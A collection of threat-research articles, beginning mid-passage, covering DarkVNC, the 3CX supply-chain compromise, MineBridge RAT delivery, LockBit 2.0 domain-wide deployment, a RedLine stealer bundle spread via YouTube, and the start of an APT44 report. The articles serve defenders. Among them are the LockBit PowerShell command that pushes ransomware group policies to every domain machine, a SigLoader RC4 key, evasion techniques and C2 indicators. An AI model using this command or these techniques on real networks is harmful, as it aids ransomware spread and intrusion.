will jump from layer to layer until we reach the last one where it’s possible to get the most important aspects of the injector. The `svchost.exe` process is created as a suspended process so the malicious code will be executed when the process is finally resumed. At this point, we can extract DarkVNC from memory. ## The DarkVNC Module The static inspection of the module’s PE shows the following: There are two exports whose meaning is self-explanatory; they are used to manage the VNC Server. The first step is to convert from string to address the attacker’s address, which in this case is in the form IP:443. Obtains the ComputerName and an additional identifier in order to assemble the string that will identify the victim’s endpoint. The final string will be: `(COMPUTER_NAME)_ADDITIONAL_ID-DARKVNC`. Immediately after, the VNC Server is started. We will not go through the analysis of the whole module for the sake of brevity, but from the inspection of strings, we can speed up the initial assessment. The string `#hvnc` is pretty indicative; this core shares many similarities with HVNC (HiddenVNC), a well-known Remote-Control Module whose source code can be found in the Carberp leak. This module shares with it a large amount of similarities like: - **Hidden VNC capabilities:** The module will create a new Window Desktop to keep hidden the malicious VNC instance. This technique is usually adopted to bypass anti-fraud engines on personal banking websites by impersonating the victim’s computer and logging in with stolen credentials without raising alerts on the bank’s side. Here’s a quick representation of the above behavior taken from ReaQta-Hive’s process-tree point of view: We have a new `explorer.exe` instance and one of the child processes is Chrome! While there are also some basic differences between DarkVNC and HVNC, one of the most interesting is represented by the following: ``` SetEnvironmentVariableW("MOZ_DISABLE_CONTENT_SANDBOX", "1") ``` According to the documentation, `MOZ_DISABLE_CONTENT_SANDBOX` disables content process sandboxing. ## The Threat from a Higher Perspective So far we have identified the following DarkVNC samples: **Collected samples:** 1. deb02b28605a2b9c80b25c5fa1fa43ac8c71b10961f7517c1a0394531d3b0b40 2. 9a57cefbfcdf1b18cc31a2784a2ed3e0e11dd4a3c4608b1243b4141a475b182f 3. a67e96b01520183babfae285b5d692b5b3dda7edff7378b281ace7fd381d3c93 4. e0a73dd11f0f2c41859bf01cf8a5b7a2a9946303d6e7898f696037323d038f56 5. Delivered via Terror EK: http://www.malware-traffic-analysis.net/2017/10/17/index.html **Hashes of the sample analyzed in this post:** 1. RTF: 7a641c8fa1b7a428bfb66d235064407ab56d119411fbaca6268c8e69696e6729 2. result.exe: 1d6f4cac33fff1b744dce13bdf003b15d8eabce53b0578e3b4bdbc5cbf001d78 ## Detection & Protection Visibility over the endpoints is essential to quickly detect new threats as they’re deployed by the attackers. Real-time behavioral analysis creates a window of opportunity to detect behaviors that are unusual. Running VNC or TeamViewer is not a malicious activity by itself, but those same tools can be abused to get control over an endpoint. Being capable of detecting such anomalies allows for a timely analysis and response before the severity of the incident escalates. Check out ReaQta-Hive to understand how an Endpoint Threat Response platform can help your organization to secure the infrastructure from threats like the one just analyzed, track incidents, and respond in real-time. Anomalous behaviors can be hard to understand manually, and the help offered by the algorithms greatly increases the chances of detection and consequently the reaction time.
# Red Flags Fly Over Software Supply Chain-Compromised 3CX Update **Karlo Zanki** **Threat Research** **March 30, 2023** ReversingLabs is analyzing a supply chain compromise of the firm 3CX Ltd., a maker of enterprise voice over IP (VoIP) solutions. Beginning on March 22nd, 2023, compromised versions of the 3CXDesktopApp, a desktop client version of the company’s VoIP software, were found to contain malicious code. While more time and effort will be needed to fully reconstruct and study this incident, our analysis of the malicious files used in the attack points strongly to a compromise of 3CX’s software build pipeline, resulting in modifications that inserted malicious code into the 3CXDesktopApp software package. There are many possible explanations for how such a thing could happen. However, our analysts focused on investigating the two most likely scenarios: a compromise of the 3CX development pipeline that resulted in malicious code being added during the build, or the possibility of a malicious dependency being served by a package repository. The former is represented by the SolarWinds incident while the latter theory is closer to the supply chain attacks commonly found in open source repositories like npm and PyPI. ReversingLabs analysis shows that attackers appended RC4 encrypted shellcode into the signature appendix of d3dcompiler.dll, a standard library used with OpenJS Electron applications such as 3CXDesktopApp. Another standard Electron application module, ffmpeg, was modified with code to extract and run the malicious content from the d3dcompiler file. Evidence of those changes is clearly visible when comparing images of “clean” versions of the 3CXDesktopApp with subsequent, tampered versions. The ReversingLabs Software Supply Chain Security platform identified signatures in the appended code pointing to SigFlip, a tool for modifying the authenticode-signed Portable Executable (PE) files without breaking the existing signature. Subsequently, our threat research platform linked malicious code added to the ffmpeg library to code found in SigLoader, another malicious tool used by an advanced persistent threat group in multiple campaigns. As was the case with the compromise of SolarWinds’ Orion software, the manner in which the malicious code was added to the 3CXDesktopApp is of little value to 3CX customers who downloaded malicious code onto internal systems. However, it should be of intense interest to organizations engaged in software development, as it points to the need for increased scrutiny of compiled software images to detect malicious code, unexplained modifications, or other discrepancies that may be a critical, early indicator of a supply chain compromise. ## Introduction 3CX is a VoIP IPBX software development company. The 3CX Phone System is used by more than 600,000 companies worldwide and counts more than 12 million daily users, including firms in the automotive, manufacturing, healthcare, aviation, and other industries. Beginning around March 22, 2023, customers of voice over IP (VoIP) vendor 3CX started peppering the company’s support groups with complaints about an update to the company’s 3CXDesktopApp client running afoul of endpoint detection and response products, which were flagging the update as malicious. The troubles with the 3CXDesktopApp simmered quietly for days, with customers wondering about “false positives,” until, on Wednesday, reports from a string of endpoint security firms including CrowdStrike and SentinelOne confirmed what many suspected: that the warnings from endpoint protection software were not in error, and that the 3CXDesktopApp had been compromised. By Thursday morning, 3CX’s CEO, Nick Galea, made it official. “As many of you have noticed the 3CX DesktopApp has malware in it,” Galea wrote in a post to a 3CX support page. “It affects the Windows Electron client for customers running update 7. It was reported to us yesterday night and we are working on an update to the DesktopApp which we will release in the coming hours.” Galea advised uninstalling the malicious app and promised more information on the incident. For customers affected by the incident, the 3CX compromise is serious. CrowdStrike and others have attributed the incident to a threat actor dubbed “LABYRINTH CHOLLIMA,” believed to be associated with the government of North Korea and known for targeting military and political entities. Many of the customers that downloaded the malicious update did not see malicious code activated in their environment. However, CrowdStrike wrote that it has observed malicious activity including hands-on-keyboard actions in a number of 3CXDesktopApp customer environments. Much will be written about the “what” and the “who” of the attack (what APT group is responsible). We would like to focus on the “how.” That is, how was it that malicious actors placed information stealing code within a signed 3CXDesktopApp software update? Our analysis of the malicious update points either to a compromise of the 3CX development pipeline that resulted in malicious code being added during the build, or the possibility of a malicious dependency being served by a package repository. The attack on 3CX — though sophisticated — had clear indicators that could have tipped off 3CX to the breach before customer systems were affected. ## Detecting the 3CX Compromise with Differential Analysis The ReversingLabs Software Supply Chain Security (SSCS) platform analyzes software packages prior to release or at any stage during development. As a final step in the build process, the ReversingLabs platform has unique visibility into the state of a produced software artifact. That gives it the ability to detect the multitude of software supply chain attack possibilities. Scanning binaries, without the presumption of having the source available, can surface software supply chain compromises within the developer’s source code, their build environment, or the dependencies used to assemble the final software package. A required capability for detecting supply chain compromises is the ability to track the evolution of software packages through differential analysis of their contents. This includes the raw metadata properties of each software component in the release, as well as their respective behaviors. Odd or inexplicable changes between builds should be considered a cause to investigate a possible compromise. This becomes even more important when software packages include components that are pre-compiled at offsite locations and, therefore, not subject to review prior to deployment. Changes introduced in 18.12 had red flags. In the case of the 3CXDesktopApp, 3CX distributed macOS DMG and MSI installer packages containing the compromised update. ReversingLabs has also identified a NuGet package containing the version 18.12.416 of the 3CXDesktopApp among the compromised artifacts we analyzed. When we look at the MSI packages distributed by 3CX through our solution, and make a diff between v18.11.1213 (the last known good version) and v18.12.407 (the first known compromised version), a number of red flags pop up that are cause for a deeper investigation. For example, ReversingLabs Software Supply Chain Security policy SQ20116 detects that a Microsoft digitally signed binary has been modified post-signing without breaking the signature integrity. This is not something that would normally happen during the build process and it is not something that could happen inadvertently. Developers would have had to make a conscious choice to implement a change like this, and that would never happen for a software component they own. However, doing so is a great technique for ferrying malicious code onto a system under the cover of a digitally signed (and therefore “legitimate”) binary. Freely available, off-the-shelf tools like SigFlip and SigLoader help facilitate these kinds of operations. For that reason, the ReversingLabs supply chain security solution makes the following recommendation when it encounters a digitally signed binary that has been modified post-signing: **Investigate:** Take a closer look at these kinds of files, because malware commonly tries to go unnoticed by hiding within these validation gaps. This warning popped up in our analysis of 3CXDesktopApp in association with d3dcompiler, a standard library used with OpenJS Electron applications such as 3CXDesktopApp. Adding to the alarm in our analysis of the 3CXDesktopApp was the behavior of another standard Electron file, ffmpeg, which we saw referencing the d3dcompiler, the tampered file. Other indicators of malicious intent were hard to come by as the malware hides itself as a statically linked function with the ffmpeg library. But even without observing the malware execute, there’s enough suspicious goings-on just in the diff between the two 3CXDesktopApp updates to warrant a deeper investigation. ## Digging into the Suspicious Changes The choice of these two DLLs — ffmpeg and d3dcompiler_47 — by the threat actors behind this attack was no accident. The target in question, 3CXDesktopApp, is built on the Electron open-source framework. Both of the libraries in question usually ship with the Electron runtime and, therefore, are unlikely to raise suspicion within customer environments. Additionally, d3dcompiler_47, the tampered-with file, is signed with a certificate issued to Microsoft Corporation and Windows digital signature details report no issues related to the signature. For endpoint protection applications, a signed binary using a legitimate certificate from a reputable firm like Microsoft is likely to get the “green light.” The “smoking gun,” in this case, was a combination of RC4 encrypted shellcode into the signature appendix of d3dcompiler and a reference to the d3dcompiler library that was added to the ffmpeg library. There was no sensible explanation for these changes, as there were no functional changes to d3dcompiler_47 to warrant such a change. That pointed in the direction of malicious functionality being added within the ffmpeg library. Indeed, detailed analysis shows that malicious code was added to that DLL. It is invoked shortly after the call to its entry point to extract the RC4 encrypted malicious content from the signature appendix of d3dcompiler. When we looked more closely, we saw that the beginning of the RC4 encrypted content was marked by a signature: 0xFE 0xED 0xFA 0xCE 0xFE 0xED 0xFA 0xCE. That specific sequence of bytes is what we term a “magic signature” — a value that the program seeks and interprets in a specific way. In this case, the sequence is known to be associated with the SigLoader tool. When SigLoader encounters this signature, it knows that a malicious shellcode payload follows immediately after the sequence, which it will extract and decrypt. Indeed, the rest of the appended data after that initial signature contains the encrypted shellcode which is decrypted using the RC4 key: 3jB(2bsG#@c7. Appending data to a signed executable and using the specific magic byte signature are strong signs that the loader payloads were created using SigFlip — a tool designed for patching authenticode signed PE files without invalidating or breaking the existing signature. Finally, the code responsible for loading the encrypted data that was added to the ffmpeg library is identical to code found in the SigLoader tool. This is a known technique used by APT#10 in multiple campaigns or intrusion sets. In this incident, the decrypted payload is a shellcode containing another embedded DLL file that downloads URLs pointing to C2 infrastructure from a GitHub repository hosting harmless icon files. The URLs pointing to C2 infrastructure are encrypted with AES, Base64 encoded, and appended to the ends of the legitimate icon files. ## Metadata Clues Point to 3CX Compromise The exact circumstances and early stages of the 3CX breach aren’t known. However, our examination of the metadata from the compromised packages provides important insights into the incident and suggest that there were clues that 3CX may have picked up on that something was amiss with its latest desktop client update. Based on data from our threat research platform, we can say with confidence that most Electron applications found in the ReversingLabs Cloud have identical PE compilation timestamps for the files in the application. That is because the compile times are predetermined and set by the build system, resulting in compilation stamps that are identical. There is simply no other way to explain how so many files would be built in the exact same second. In the case of compromised 3CXDesktopApp Electron applications, however, these compilation timestamps differed. The first timestamp, which is found on the majority of the DLLs within the compromised installer package, is 2022-11-30T15:56:23Z. That correlates with the build version of the Electron used by the 3CX development team - Electron v19.1.9. The second timestamp we discovered only applied to the ffmpeg file. It was 2022-11-12T04:12:14Z and is associated with the build version of the Electron used by malware authors. Furthermore, two of the malicious ffmpeg variants were digitally signed with a legitimate certificate issued to the 3CX company. What can we conclude from this? Based on this information, we estimate that the supply chain incident was caused by the compromise of the repository from which the Electron application binaries were fetched during the build process. As part of the attack, legitimate versions of ffmpeg and d3dcompiler libraries in the compromised repository were likely replaced with malicious versions compiled by the attackers after modifying publicly available ffmpeg source code. Unlike legitimate ffmpeg files, the Program Database (PDB) data is stripped from the malicious files in order to remove any data that could reveal the real build time or link them to the attackers' development environment. Once that substitution happened, the rest of the attack was easy sailing. 3CX’s build process was likely designed to automatically sign the latest available components — third-party or otherwise — and include them into the software release package. That means the malicious ffmpeg library, once fetched from the (compromised) repository, was signed without the need for the attackers to steal the digital signing certificates. There is no data to indicate whether the compromised repository was deployed locally in 3CX or if it was hosted elsewhere. Based on public statements from the company, we can infer that the malicious ffmpeg and d3dcompiler were hosted somewhere on GitHub. ReversingLabs has, so far, been unable to confirm this with the telemetry data we currently have available to us. From what we have seen, there is no evidence that a malicious repository is, or was, hosted on GitHub. And there is no evidence that other developers may be at risk from using the same malicious code like 3CX did. ## Conclusion As the saying goes, “It is not ‘if’ you will be hacked, but ‘when.’” That’s true even for sophisticated operations like software supply chain attacks. Recent history has shown us that malicious actors are growing more and more interested in the access provided by development pipelines, open source, and third-party code. Development organizations can’t keep from being targeted. However, there are ways that they can reduce the impact of any malicious campaign against them. Doing that requires them to be attuned to the techniques and methods that malicious actors use. In the case of the compromise of the VoIP provider 3CX, there is a lot that is still unknown about how the attack was carried out, or who its intended targets were. However, ReversingLabs analysis of the modifications made to the company’s 3CXDesktopApp suggests that there were telltale signs of tampering with the company’s desktop client software prior to its release. Had these signs been noticed during development, it should have triggered a closer analysis of the software release and, possibly, discovery of the breach and malicious code additions. As we have shown, evidence of changes to the 3CXDesktopApp are clearly visible in a comparison of “clean” and tampered versions of the client software — changes that point to the use of SigFlip and SigLoader, known suspicious/malicious off-the-shelf tools that are in the tool belt of advanced persistent threat (APT) actors. As with the compromise of SolarWinds Orion codebase, this incident underscores the need for development organizations to look beyond the risks posed by software vulnerabilities and insecure code. Threats such as malicious open-source modules, tampering with software dependencies, and attacks on internally developed modules and builds are growing. When successful, these attacks not only threaten the security and reputation of the affected software firm but those of all its customers as well. Detecting such threats during development and before software ships is key to preventing the next 3CX-style incident. ## Indicators of Compromise (IOC) List | Filename | SHA1 | |--------------------------------------------------|-------------------------------------------| | 3cxdesktopapp-18.12.407.msi | bea77d1e59cf18dce22ad9a2fad52948fd7a9efa | | 3cxdesktopapp-18.12.416.msi | bfecb8ce89a312d2ef4afc64a63847ae11c6f69e | | 3CXDesktopApp-18.12.416-full.nupkg | f7f1b34c2770d83e2250e19c8425a4bec56617fd | | 3CXDesktopApp_v18.12.407.0.exe | 6285ffb5f98d35cd98e78d48b63a05af6e4e4dea | | 3CXDesktopApp_v18.12.416.0.exe | 8433a94aedb6380ac8d4610af643fb0e5220c5cb | | ffmpeg.dll | bf939c9c261d27ee7bb92325cc588624fca75429 | | ffmpeg.dll | 188754814b37927badc988b45b7c7f7d6b4c8dd3 | | ffmpeg.dll | ff3dd457c0d00d00d396fdf6ebe7c254fed2a91e | | d3dcompiler_47_v10.0.20348.1.dll | 20d554a80d759c50d6537dd7097fed84dd258b3e | | decrypted shellcode | 8b81f6012fd748f0fed53eeef72164435ad618ac | | samcli.dll (embedded in shellcode) | 3b88cda62cdd918b62ef5aa8c5a73a46f176d18b | | 3CXDesktopApp-18.11.1213.dmg | 19f4036f5cd91c5fc411afc4359e32f90caddaac | | 3CXDesktopApp-18.12.416.dmg | 3dc840d32ce86cebf657b17cef62814646ba8e98 | | libffmpeg.dylib (universal) | b2a89eebb5be61939f5458a024c929b169b4dc85 | | libffmpeg.dylib (universal) | 769383fc65d1386dd141c960c9970114547da0c2 | | libffmpeg.dylib (x86-64) | 354251ca9476549c391fbd5b87e81a21a95949f4 | | libffmpeg.dylib (x86-64) | 5b0582632975d230c8f73c768b9ef39669fefa60 |
# MineBridge RAT Is on the Rise, With a Sophisticated Delivery Mechanism The MineBridge RAT was first identified in January 2020 by security researchers at FireEye, who observed the backdoor attacking financial institutions in the United States with some targets located in South Korea as well. MineBridge was initially classified as a C++ backdoor that was delivered via phishing campaigns. The updated RAT began using a macro embedded in Word documents in late February. According to attribution models from several other cybersecurity firms, it appears to be the work of TA505, who have also used a Get2 loader and Clop/Cryptomix. This blog post will cover a new delivery chain for the MineBridge RAT, including technical details and binary indicators. ## Technical Introduction Morphisec Labs recently identified an updated delivery chain for the latest MineBridge RAT delivery. Though we haven’t currently established the entry point of how the first scheduled task was created, we assume that as before it follows the impersonation of Google-related application updates. Both scheduled tasks within the attack chain have Google in their names, and previously-known delivery methods of MineBridge also involved Google updates. ### MineBridge Attack Flow Below are short descriptions of the attack stages: - The total execution length of the attack was about two hours from the first task executed until the final stage of connection to the C2. - At first, a scheduled task executed a very short encoded PowerShell that executes a remote PowerShell obfuscated command. The URL is hidden behind a cutt.ly URL shortener service. - The remote obfuscated PowerShell command downloads a NetSupport client from a freshly registered Bitbucket storage through the same cutt.ly service. - After downloading all the required legitimate NetSupport executables, the same obfuscated remote PowerShell continues to download a custom client configuration file that points to an intermediate C2. This configuration is downloaded from a different domain also masked by cutt.ly. - Next, the NetSupport executes and immediately connects to the intermediate C2. Following the connection, a PowerShell command is executed and persisted into a new scheduled task. - The new PowerShell encoded command again executes a remote obfuscated PowerShell like a previous stage. - The remote obfuscated PowerShell downloads an old TeamViewer from a different Bitbucket repository that was also just created for this attack. Like the previous stage, the repository stores legitimate artifacts of the TeamViewer while the malicious “msi.dll” is downloaded from a different malicious domain. If the msi.dll is removed by AV, it will be re-downloaded when the next task executes. - Msi.dll sideloading is not a new technique; it has been long used by MineBridge RAT and some others to execute malicious code within the context of TeamViewer. This time the DLL mimics a Themida packer though the encryption is done by VMprotect. ### First PowerShell The first stage of PowerShell execution uses a standard Invoke-WebRequest to download the next stage PowerShell from a cutt.ly URL link shortener service. Using a URL shortener as well as using public content sharing services has become very popular among the different actors as it's almost impossible to block based on reputation. “Google Photo Sync” is the registered scheduled task that is responsible for the execution of this encoded PowerShell command. ### Second PowerShell The PowerShell in the next stage is slightly obfuscated. The obfuscation is done by separating string characters and assigning them to long random parameter names, later concatenating them at runtime. The long variable parameter names confuse some of the string similarities in AI algorithms that search for suspicious obfuscated strings. Many actors also apply this technique to evade detection by AI algorithms. The following script appears when we decode the PowerShell content. All cutt.ly links lead to a freshly created public Bitbucket project that contains all files necessary to run NetSupport clients. The only file missing is the Client32.ini configuration file that is downloaded from a different domain simpledomen[.]club/support.php (request header is validated by the attacker). As soon as all the artifacts are downloaded, a NetSupport backdoor is added to the autoruns for persistence. The repository has no commits, branches, comments, or any discussion aside from the NetSupport files. The only commit is for the README.md file that contains generic Bitbucket content possibly to make it look like a new legitimate project. ### Client32.ini file Before running the NetSupport client, the PowerShell script tests if the file Client32.ini exists. If so, the configuration file is removed and downloaded again. This way the attack chain will not be interrupted by the intermediate NetSupport C2 change or a remediation attempt by the local AV. Client32.ini contains NetSupport settings. The actor sets NetSupport to be hidden while disabling all app notifications and any pop-ups. At the moment we wrote this post, the NetSupport backdoor was configured to communicate with update-system[.]cn:443 as the main gateway and updatesystem[.]website:443 as the secondary gateway. ### Third PowerShell As soon as the NetSupport client succeeds in connecting to the intermediate C2, it executes a PowerShell command that is similar in format to the first PowerShell command with a slight modification of the cutt.ly link. The cutt.ly link then expands to the same URL with a slight change in the parameter name to hxxps://simplename[.]website/upd/?t=pstv. Note that the last 2 letters represent the backdoor name acronyms (ns for NetSupport, tv for TeamViewer). NetSupport also adds a persistent scheduled task for the next stage. The “Google Disk Sync” scheduled task is the encoded representation of the above command. ### Fourth PowerShell As in the previous stages, the remote obfuscated command is responsible for the download of a new backdoor component: an old TeamViewer that is vulnerable to a side-loading (DLL hijack) vulnerability. As before, all the artifacts needed for the execution of TeamViewer are downloaded from a newly created Bitbucket repository (different from the first one) while the malicious msi.dll component (the sideloaded DLL) is downloaded from the same “client32” domain simpledomen[.]club/watchdog.php. The attacker chooses to rename the TeamViewer application name to QTConnect.exe. While most DLL hijacks are usually executed after the application is loaded, in the case of TeamViewer the msi.dll is directly in the import table of the executable. Therefore it will execute before the application officially starts its execution; this is a very lucrative target for attackers to avoid runtime monitoring. This is also why some vendors decided to flag the vulnerable TeamViewer even though it is signed by a legitimate certificate. ### MineBridge RAT In the scope of this blog, we will only touch upon some of the basic characteristics of the delivered RAT. MineBridge Remote-Access Trojan actors frequently change their packing techniques to hide their final payload. In this latest campaign, we identified the impersonation of a Themida packer while masking VMprotect. ### String Encryption After unpacking has completed, we quickly identified the main string decryptors (Unicode and Ascii). We uploaded a basic script that should decrypt most of the strings. Our first analysis showed a nonsignificant change in commands, no change in mutex and persistence, different C2 domains, and a slight modification in the communication pattern. ### Commands - runexe_command - runexe_URL - rundll_command - rundll_URL - update_command - update_URL - restart_command - terminate_command - kill_command - shutdown_command - reboot_command ### Communication As before, the persistence is automated through IshellLink functionality, adding “Windows Defender.lnk” to the startup folder. ## Conclusion The delivery of MineBridge has evolved since it was first identified in January. This new variant can evade detection solutions through obfuscation and other means, thus allowing it to continue its attack in infected systems. Morphisec customers are secured against MineBridge’s evasion tactics through the power of our prevention-first, zero-trust runtime endpoint and server protection technologies powered by moving target defense. ## IOCs - **NetSupport**: simplename[.]website/upd/?t=psns - **Client and downloaders**: simpledomen[.]club/support.php, bitbucket[.]org/Net-Support/pub/downloads/ - **NetSupport client**: update-system[.]cn:443, updatesystem[.]website:443 - **TeamViewer / MineBridge downloaders**: simplename[.]website/upd/?t=pstv, simpledomen[.]club/watchdog.php, bitbucket[.]org/TVSoft/public/downloads/ - **MineBridge C2**: ninjakick[.]club, polarrsearch[.]xyz, rogaikopyta[.]xyz, utkailipa[.]xyz, 5tvstar[.]cn, sweepchance[.]xyz, sweepchance[.]club, goldendragon888[.]cn, sub-url: tf346765jh67/indexes_data.php - **msi.dll**: 7c6b9051654cbbcd02985c16fcb95ce1a78c58ba54bdc0605f0c4ee669c67ff9 - **Mutex**: DynGateInstanceMutex - **Scheduled tasks**: “Google Photo Sync”, “Google Disk Sync” - **Older domains**: billionaireshore[.]top, vikingsofnorth[.]top, realityarchitector[.]top, gentlebouncer[.]top, brainassault[.]top, greatersky[.]top, unicornhub[.]top, corporatelover[.]top, bloggersglobbers[.]top, billionairesho[.]top, sub-url: munhgy8fw6egydubh/9gh3yrubhdkgfby43.php
# LockBit Ransomware Now Encrypts Windows Domains Using Group Policies **By Lawrence Abrams** **July 27, 2021** A new version of the LockBit 2.0 ransomware has been found that automates the encryption of a Windows domain using Active Directory group policies. The LockBit ransomware operation launched in September 2019 as a ransomware-as-a-service, where threat actors are recruited to breach networks and encrypt devices. In return, the recruited affiliates earn 70-80% of a ransom payment, and the LockBit developers keep the rest. Over the years, the ransomware operation has been very active, with a representative of the gang promoting the activity and providing support on hacking forums. After ransomware topics were banned on hacking forums, LockBit began promoting the new LockBit 2.0 ransomware-as-a-service operation on their data leak site. ## LockBit 2.0 Affiliate Program Features Included with the new version of LockBit are numerous advanced features, with two of them outlined below. ### Uses Group Policy Update to Encrypt Network LockBit 2.0 promotes a long list of features, many used by other ransomware operations in the past. However, one promoted feature stands out where the developers claim to have automated the ransomware distribution throughout a Windows domain without the need for scripts. When threat actors breach a network and gain control of the domain controller, they utilize third-party software to deploy scripts that disable antivirus and then execute the ransomware on the machines on the network. In samples of the LockBit 2.0 ransomware discovered by MalwareHunterTeam and analyzed by BleepingComputer and Vitali Kremez, the threat actors have automated this process so that the ransomware distributes itself throughout a domain when executed on a domain controller. When executed, the ransomware will create new group policies on the domain controller that are then pushed out to every device on the network. These policies disable Microsoft Defender's real-time protection, alerts, submitting samples to Microsoft, and default actions when detecting malicious files. Other group policies are created, including one to create a scheduled task on Windows devices that launch the ransomware executable. The ransomware will then run the following command to push the group policy update to all of the machines in the Windows domain: ```powershell powershell.exe -Command "Get-ADComputer -filter * -Searchbase '%s' | foreach{ Invoke-GPUpdate -computer $_.name -force -RandomDelayInMinutes 0 }" ``` Kremez told BleepingComputer that during this process, the ransomware will also use Windows Active Directory APIs to perform LDAP queries against the domain controller's ADS to get a list of computers. Using this list, the ransomware executable will be copied to each device's desktop, and the scheduled task configured by group policies will launch the ransomware using the UAC bypass. As the ransomware will be executed using a UAC bypass, the program will run silently in the background without any outward alert on the device being encrypted. While MountLocker had previously used Windows Active Directory APIs to perform LDAP queries, this is the first time we have seen ransomware automate the distribution of the malware via group policies. "This is the first ransomware operation to automate this process, and it allows a threat actor to disable Microsoft Defender and execute the ransomware on the entire network with a single command," Kremez told BleepingComputer. ### LockBit 2.0 Print Bombs Network Printers LockBit 2.0 also includes a feature previously used by the Egregor Ransomware operation that print bombs the ransom note to all networked printers. When the ransomware has finished encrypting a device, it will repeatedly print the ransom note to any connected network printers to get the victim's attention. In an Egregor attack against retail giant Cencosud, this feature caused ransom notes to shoot out of receipt printers after they conducted the attack.
# Self-spreading Stealer Attacks Gamers via YouTube **Authors** Oleg Kupreev An unusual malicious bundle (a collection of malicious programs distributed in the form of a single installation file, self-extracting archive or other file with installer-type functionality) recently caught our eye. Its main payload is the widespread RedLine stealer. Discovered in March 2020, RedLine is currently one of the most common Trojans used to steal passwords and credentials from browsers, FTP clients, and desktop messengers. It is openly available on underground hacker forums for just a few hundred dollars, a relatively small price tag for malware. The stealer can pinch usernames, passwords, cookies, bank card details, and autofill data from Chromium- and Gecko-based browsers, data from cryptowallets, instant messengers, and FTP/SSH/VPN clients, as well as files with particular extensions from devices. In addition, RedLine can download and run third-party programs, execute commands in cmd.exe, and open links in the default browser. The stealer spreads in various ways, including through malicious spam e-mails and third-party loaders. ## The Bundle: What’s Inside Beside RedLine In addition to the payload itself, the discovered bundle is of note for its self-propagation functionality. Several files are responsible for this, which receive videos and post them to the infected users’ YouTube channels along with the links to a password-protected archive with the bundle in the description. The videos advertise cheats and cracks and provide instructions on hacking popular games and software. Among the games mentioned are APB Reloaded, CrossFire, DayZ, Dying Light 2, F1® 22, Farming Simulator, Farthest Frontier, FIFA 22, Final Fantasy XIV, Forza, Lego Star Wars, Osu!, Point Blank, Project Zomboid, Rust, Sniper Elite, Spider-Man, Stray, Thymesia, VRChat, and Walken. According to Google, the hacked channels were quickly terminated for violation of the company’s Community Guidelines. ## Examples of Videos Spreading the Bundle The original bundle is a self-extracting RAR archive containing a number of malicious files, clean utilities, and a script to automatically run the unpacked contents. Because of the expletives used by the bundle’s creators, we had to hide some file names. ### Contents of the Self-Extracting Archive Right after unpacking, three executable files are run: cool.exe, ***.exe, and AutoRun.exe. The first is the RedLine stealer mentioned above. The second is a miner, which makes sense, since the main target audience, judging by the video, is gamers—who are likely to have video cards installed that can be used for mining. The third executable file copies itself to the %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup directory, which ensures automatic startup and runs the first of the batch files. The batch files, in turn, run three other malicious files: MakiseKurisu.exe, download.exe, and upload.exe. These are the files responsible for the bundle’s self-distribution. On top of that, one of the batch files runs the nir.exe utility, which lets malicious executable files run without displaying any windows or taskbar icons. ### Contents of the First and Second Batch Files The size of the download.exe file is an impressive 35 MB. However, it’s basically a regular loader whose purpose is to download videos for uploading to YouTube, as well as files with the description text and links to the malicious archive. The executable file is large because it is a NodeJS interpreter glued together with the scripts and dependencies of the main application. The malware takes the file download links from a GitHub repository. In the latest modifications, a 7-Zip archive with videos and descriptions organized into directories is downloaded. The archive is unpacked using the console version of 7-Zip, included in the bundle. ### Contents of the 7-Zip Archive MakiseKurisu.exe is a password stealer written in C# and modified to suit the needs of the bundle’s creators. The source code from GitHub was likely taken as the basis: the file contains many standard stealer features that are not used in any way. These include checking for a debugger and for a virtual environment, sending information about the infected system to instant messengers, and stealing passwords. So, what remains and what do the changes amount to? The only working function in MakiseKurisu.exe is extracting cookies from browsers and storing them in a separate file without sending the stolen data anywhere. It is precisely through cookies that the bundle gains access to the infected user’s YouTube account, where it uploads the video. The last malicious file in the bundle is upload.exe, which uploads the video previously downloaded using download.exe to YouTube. This file is also written in NodeJS. It uses the Puppeteer Node library, which provides a high-level API for managing Chrome and Microsoft Edge using the DevTools protocol. When the video is successfully uploaded to YouTube, upload.exe sends a message to Discord with a link to the uploaded video. ## Conclusion Cybercriminals actively hunt for gaming accounts and gaming computer resources. As we noted in our overview of gaming-related cyberthreats, stealer-type malware is often distributed under the guise of game hacks, cheats, and cracks. The self-spreading bundle with RedLine is a prime example of this: cybercriminals lure victims with ads for cracks and cheats, as well as instructions on how to hack games. At the same time, the self-propagation functionality is implemented using relatively unsophisticated software, such as a customized open-source stealer. All this is further proof, if any were needed, that illegal software should be treated with extreme caution. ## IoC **MD5 hashes** 32dd96906f3e0655768ea09d11ea6150 1d59f656530b2d362f5d540122fb2d03 6ebe294142d34c0f066e070560a335fb 64b4d93889661f2ff417462e95007fb4 b53ea3c1d42b72b9c2622488c5fa82ed ac56f398a5ad9fb662d8b04b61a1e4c5 f80abd7cfb638f6c69802e7ac4dcf631 e59e63cdaec7957e68c85a754c69e109 9194c2946e047b1e5cb4865a29d783f4 f9d443ad6937724fbd0ca507bb5d1076 7cd4f824f61a3a05abb3aac40f8417d4
# APT44 Report ## Sandworm ### Authors Gabby Roncone, Dan Black, John Wolfram, Tyler McLellan, Nick Simonian, Ryan Hall, Anton Prokopenkov, Dan Perez, Lexie Aytes, Alden Wahlstrom ### Acknowledgements Collaboration with companies and governments to track and mitigate threats is critical to our collective efforts to defend our networks against adversaries. The efforts of Mandiant Consulting across many incident response engagements in Ukraine since 2022 enabled much of the analysis included in this report. We’d additionally like to thank Mandiant's FLARE team, former Mandiant employees, ESET, Microsoft, Google TAG, numerous global government organizations, and most importantly, all of our partners in Ukraine. Our work would not be possible without their contributions. ## Executive Summary With Russia's war in Ukraine in its third year, Sandworm remains a formidable threat to Ukraine. The group’s operations in support of Moscow’s war aims have proven tactically and operationally adaptable, and as of today, appear to be better integrated with the activities of Russia’s conventional forces than in any other previous phase of the conflict. To date, no other Russian government-backed cyber group has played a more central role in shaping and supporting Russia’s military campaign. Yet the threat posed by Sandworm is far from limited to Ukraine. Mandiant continues to see operations from the group that are global in scope in key political, military, and economic hotspots for Russia. Looking forward, a record number of people will participate in national elections in 2024, and Sandworm’s history of attempting to interfere in democratic processes further elevates the threat the group may pose in the near-term. Given the active and persistent threat to governments and critical infrastructure operators globally, Mandiant has decided to graduate the group into APT44. ### Key Judgments - Sponsored by Russian military intelligence, APT44 is a dynamic and operationally mature threat actor, actively engaged in the full spectrum of espionage, attack, and influence operations. - APT44 has aggressively pursued a multi-pronged effort to help the Russian military gain a wartime advantage and is responsible for nearly all of the disruptive and destructive operations against Ukraine over the past decade. - We assess with high confidence that APT44 is seen by the Kremlin as a 